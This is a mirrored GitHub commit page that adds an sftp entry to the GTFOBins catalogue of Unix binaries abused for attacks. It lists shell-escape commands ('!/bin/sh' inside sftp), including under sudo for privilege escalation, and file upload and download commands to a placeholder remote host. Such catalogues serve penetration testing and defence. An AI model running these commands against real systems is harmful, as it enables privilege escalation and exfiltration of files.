mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Add sftp
This commit is contained in:
parent
80e5c2cac4
commit
67a480ccce
25
_gtfobins/sftp.md
Normal file
25
_gtfobins/sftp.md
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
exec-interactive:
|
||||||
|
- code: |
|
||||||
|
HOST=user@10.0.0.1
|
||||||
|
sftp $HOST
|
||||||
|
!/bin/sh
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
HOST=user@10.0.0.1
|
||||||
|
sudo sftp $HOST
|
||||||
|
!/bin/sh
|
||||||
|
upload:
|
||||||
|
- description: Send local file to a SSH server.
|
||||||
|
code: |
|
||||||
|
RHOST=user@10.0.0.1
|
||||||
|
sftp $RHOST
|
||||||
|
put file_to_send where_to_save
|
||||||
|
download:
|
||||||
|
- description: Fetch a remote file from a SSH server.
|
||||||
|
code: |
|
||||||
|
RHOST=user@10.0.0.1
|
||||||
|
sftp $RHOST
|
||||||
|
get file_to_get where_to_save
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user